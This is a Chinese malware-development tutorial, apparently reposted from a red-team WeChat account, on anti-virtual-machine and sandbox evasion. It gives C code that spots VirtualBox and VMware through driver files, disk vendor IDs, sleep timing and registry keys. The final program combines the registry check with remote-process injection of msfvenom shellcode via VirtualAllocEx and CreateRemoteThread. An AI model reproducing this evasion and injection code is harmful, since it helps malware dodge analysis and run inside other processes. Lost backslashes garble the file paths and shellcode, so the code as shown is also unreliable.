02-反虚拟机
01-文件系统检测
检测不同虚拟机的特征文件
VirtualBox VM:
c:windowssystem32driversVBoxMouse.sys
c:windowssystem32driversVBoxGuest.sys
c:windowssystem32driversVBoxSF.sys
c:windowssystem32driversVBoxVideo.sys
c:windowssystem32vboxdisp.dll
c:windowssystem32vboxhook.dll
c:windowssystem32vboxservice.exe
c:windowssystem32vboxtray.exe
#include <windows.h>
#include <stdio.h>
BOOL checkVM() {
// Paths to check
LPCSTR path1 = "c:\windows\system32\drivers\VBoxMouse.sys";
LPCSTR path2 = "c:\windows\system32\drivers\VBoxGuest.sys";
// Use GetFileAttributes to check if the first file exists
DWORD attributes1 = GetFileAttributes(path1);
// Use GetFileAttributes to check if the second file exists
DWORD attributes2 = GetFileAttributes(path2);
// Check if both files exist
if ((attributes1 != INVALID_FILE_ATTRIBUTES && !(attributes1 & FILE_ATTRIBUTE_DIRECTORY)) ||
(attributes2 != INVALID_FILE_ATTRIBUTES && !(attributes2 & FILE_ATTRIBUTE_DIRECTORY))) {
// At least one of the files exists
return TRUE;
} else {
// Both files do not exist or are directories
return FALSE;
}
}
int main() {
if (checkVM()) {
printf("The system appears to be a virtual machine.n");
} else {
printf("The system does not appear to be a virtual machine.n");
printf("hacking...");
}
return 0;
}
编译
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
我用的是vmware,找了几个vmware的sys文件供参考
c:windowssystem32下的
vm3dmp-debug.sys
vm3dmp-stats.sys
vm3dmp.sys
vm3dmp_loader.sys
vmhgfs.sys
vmmemctl.sys
vmmouse.sys
vmrawdsk.sys
vmusbmouse.sys
02-硬件检测
虚拟机是模拟的硬件设备,描述上有特征
01-HDD(硬盘供应商ID)
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
#include <windows.h>
#include <stdio.h>
BOOL checkVM() {
STORAGE_PROPERTY_QUERY query;
query.PropertyId = StorageDeviceProperty;
query.QueryType = PropertyStandardQuery;
HANDLE hDevice = CreateFile("\\.\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open physical drive. Error code: %dn", GetLastError());
return FALSE;
}
STORAGE_DESCRIPTOR_HEADER header;
DWORD bytesReturned = 0;
// Get the size of the STORAGE_DESCRIPTOR_HEADER
if (!DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY, &query, sizeof(query), &header, sizeof(header), &bytesReturned, NULL)) {
printf("Failed to get storage property header. Error code: %dn", GetLastError());
CloseHandle(hDevice);
return FALSE;
}
// Allocate memory to retrieve the actual data
BYTE* buffer = (BYTE*)malloc(header.Size);
if (buffer == NULL) {
printf("Memory allocation failed.n");
CloseHandle(hDevice);
return FALSE;
}
// Get the storage property data
if (!DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY, &query, sizeof(query), buffer, header.Size, &bytesReturned, NULL)) {
printf("Failed to get storage property data. Error code: %dn", GetLastError());
free(buffer);
CloseHandle(hDevice);
return FALSE;
}
// Replace the following with the actual structure for Vendor ID
// In this example, assuming Vendor ID is at a specific offset in the buffer
char* vendorId = (char*)(buffer + sizeof(STORAGE_DESCRIPTOR_HEADER));
free(buffer);
CloseHandle(hDevice);
return TRUE;
}
int main() {
if (checkVM()) {
// Handle virtual machine detected case
MessageBox(NULL, "Meow!", "=^..^=", MB_OK);
} else {
// Handle non-virtual machine case
MessageBox(NULL, "Squeak!", "=^..^=", MB_OK);
}
return 0;
}
执行需要管理员权限,获得Vendor ID可以进行比较,上面代码没有比较过程
03-基于时间的沙箱逃逸
沙箱仿真时间很少超过3-5分钟,恶意软件可以sleep一段时间再运行恶意功能,但是现在沙箱有sleep-skipping技术很快执行完sleep,类似加速器,一次可以检测时间差来判断
#include <windows.h>
#include <stdio.h>
// Definitions for NtDelayExecution
typedef NTSTATUS (WINAPI *fnNtDelayExecution)(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
);
// Function to check if the system is a virtual machine
BOOL checkVM() {
// Get the system uptime before sleeping
ULONG64 uptimeBeforeSleep = GetTickCount64();
// Dynamically obtain the address of NtDelayExecution
HMODULE ntdll = GetModuleHandle("ntdll.dll");
fnNtDelayExecution myNtDelayExecution = (fnNtDelayExecution)GetProcAddress(ntdll, "NtDelayExecution");
// Check if the function is successfully obtained
if (!myNtDelayExecution) {
printf("Failed to obtain NtDelayExecution function address.n");
return FALSE;
}
// Set the sleep time (in 100-nanosecond intervals) - adjust as needed
LARGE_INTEGER sleepInterval;
sleepInterval.QuadPart = -10000000; // 1 second
// Call NtDelayExecution to sleep
myNtDelayExecution(FALSE, &sleepInterval);
// Get the system uptime after sleeping
ULONG64 uptimeAfterSleep = GetTickCount64();
// Calculate the actual sleep time in milliseconds
ULONG64 actualSleepTime = uptimeAfterSleep - uptimeBeforeSleep;
// Print the actual sleep time
printf("Actual sleep time: %llu millisecondsn", actualSleepTime);
// Check if the actual sleep time is close to the expected sleep time
// This is just a basic example, you might want to adjust the threshold based on your specific use case
if (actualSleepTime < 1000 && actualSleepTime > 800) {
printf("Likely not a virtual machine.n");
} else {
printf("Possibly a virtual machine.n");
}
return TRUE;
}
int main() {
if (checkVM()) {
// Handle virtual machine detected case
MessageBox(NULL, "Meow!", "=^..^=", MB_OK);
} else {
// Handle non-virtual machine case
MessageBox(NULL, "Squeak!", "=^..^=", MB_OK);
}
return 0;
}
编译
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
计算时间差值,判断是不是在沙箱中
04-注册表检测
判断注册表项是否存在
int registryKeyExist(HKEY rootKey, char* subKeyName) {
HKEY registryKey = nullptr;
LONG result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ,
®istryKey);
if (result == ERROR_SUCCESS) {
RegCloseKey(registryKey);
return TRUE;
}
return FALSE;
}
判断具体值
int compareRegistryKeyValue(HKEY rootKey, char* subKeyName, char*
registryValue, char* comparisonValue) {
HKEY registryKey = nullptr;
LONG result;
char retrievedValue[1024];
DWORD size = sizeof(retrievedValue);
result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ,
®istryKey);
if (result == ERROR_SUCCESS) {
RegQueryValueExA(registryKey, registryValue, NULL, NULL,
(LPBYTE)retrievedValue, &size);
if (result == ERROR_SUCCESS) {
if (strcmp(retrievedValue, comparisonValue) == 0) {
return TRUE;
}
}
}
return FALSE;
}
检测vbox虚拟机代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// msfvenom -p windows/x64/messagebox TEXT="Hello, Packt!" TITLE="=^..^=" -f c
unsigned char myPayload[] =
"xfcx48x81xe4xf0xffxffxffxe8xd0x00x00x00x41"
"x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60"
"x3ex48x8bx52x18x3ex48x8bx52x20x3ex48x8bx72"
"x50x3ex48x0fxb7x4ax4ax4dx31xc9x48x31xc0xac"
"x3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2"
"xedx52x41x51x3ex48x8bx52x20x3ex8bx42x3cx48"
"x01xd0x3ex8bx80x88x00x00x00x48x85xc0x74x6f"
"x48x01xd0x50x3ex8bx48x18x3ex44x8bx40x20x49"
"x01xd0xe3x5cx48xffxc9x3ex41x8bx34x88x48x01"
"xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01"
"xc1x38xe0x75xf1x3ex4cx03x4cx24x08x45x39xd1"
"x75xd6x58x3ex44x8bx40x24x49x01xd0x66x3ex41"
"x8bx0cx48x3ex44x8bx40x1cx49x01xd0x3ex41x8b"
"x04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58"
"x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41"
"x59x5ax3ex48x8bx12xe9x49xffxffxffx5dx49xc7"
"xc1x00x00x00x00x3ex48x8dx95xfex00x00x00x3e"
"x4cx8dx85x0cx01x00x00x48x31xc9x41xbax45x83"
"x56x07xffxd5x48x31xc9x41xbaxf0xb5xa2x56xff"
"xd5x48x65x6cx6cx6fx2cx20x50x61x63x6bx74x21"
"x00x3dx5ex2ex2ex5ex3dx00";
unsigned int myPayloadLen = sizeof(myPayload);
int checkRegistryKey(HKEY rootKey, char* subKeyName) {
HKEY registryKey = nullptr;
LONG result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, ®istryKey);
if (result == ERROR_SUCCESS) {
RegCloseKey(registryKey);
return TRUE;
}
return FALSE;
}
int compareRegistryKeyValue(HKEY rootKey, char* subKeyName, char* registryValue, char* comparisonValue) {
HKEY registryKey = nullptr;
LONG result;
char value[1024];
DWORD size = sizeof(value);
result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, ®istryKey);
if (result == ERROR_SUCCESS) {
RegQueryValueExA(registryKey, registryValue, NULL, NULL, (LPBYTE)value, &size);
if (result == ERROR_SUCCESS) {
if (strcmp(value, comparisonValue) == 0) {
return TRUE;
}
}
}
return FALSE;
}
int main(int argc, char* argv[]) {
HANDLE processHandle; // Process handle
HANDLE remoteThread; // Remote thread
PVOID remoteBuffer; // Remote buffer
if (checkRegistryKey(HKEY_LOCAL_MACHINE, "HARDWARE\ACPI\FADT\VBOX__")) {
printf("VirtualBox VM registry path value detected :(n");
// return -2;
}
if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SystemInformation",
"SystemProductName", "VirtualBox")) {
printf("VirtualBox VM registry key value detected :(n");
// return -2;
}
if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SystemInformation",
"BiosVersion", "VirtualBox")) {
printf("VirtualBox VM BIOS version detected :(n");
return -2;
}
// Parse process ID
printf("PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// Allocate memory buffer for remote process
remoteBuffer = VirtualAllocEx(processHandle, NULL, myPayloadLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "Copy" data between processes
WriteProcessMemory(processHandle, remoteBuffer, myPayload, myPayloadLen, NULL);
// Our process starts a new thread
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
可以检测出是不是在vbox虚拟机中运行
配套实验环境和电子书加Q拉群下载
原文始发于微信公众号(高级红队专家):【MalDev-08】反虚拟机
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论